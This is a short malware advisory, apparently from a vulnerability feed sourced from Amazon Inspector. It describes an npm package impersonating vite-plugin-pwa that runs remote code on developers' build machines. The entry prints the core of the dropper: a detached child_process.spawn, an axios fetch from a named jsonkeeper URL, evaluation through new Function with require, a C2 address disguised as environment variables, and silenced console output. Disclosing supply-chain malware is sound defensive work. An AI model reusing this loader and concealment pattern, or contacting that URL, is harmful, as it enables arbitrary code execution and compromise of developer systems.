취약점

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (d52d1d84d7572baf6a74539864b64d5b5c803f828fc82a1dae4de2dfebdb986f)

Package impersonates the legitimate vite-plugin-pwa (cloned description 'Zero-config PWA for Vite', repository vite-pwa/vite-config-field, funding link to github.com/sponsors/antfu, and exports matching the upstream API including VitePWA, cachePreset, and configField). When a consumer adds the plugin to their Vite config and the exported configField() runs, it invokes getUseropt() which calls child_process.spawn('node', ['./client/dev/reactopt.js',...], { detached: true, stdio: 'ignore' }) and unrefs the child. The spawned dist/client/dev/reactopt.js performs axios.get('https://www.jsonkeeper.com/b/HIECD', { headers: { 'x-secret-key': '_' } }), takes response.data.Cookie, and executes it with new Function('require', s)(require) — arbitrary remote code execution with full require capability, retrying 5 times. The C2 URL is disguised inside a fake process.env object (DEV_API_KEY/DEV_SECRET_KEY/DEV_SECRET_VALUE) to masquerade as environment-variable reads, and console output is silenced around the eval. The detached, stdio-ignored child means the dropper survives independent of the parent build/dev process.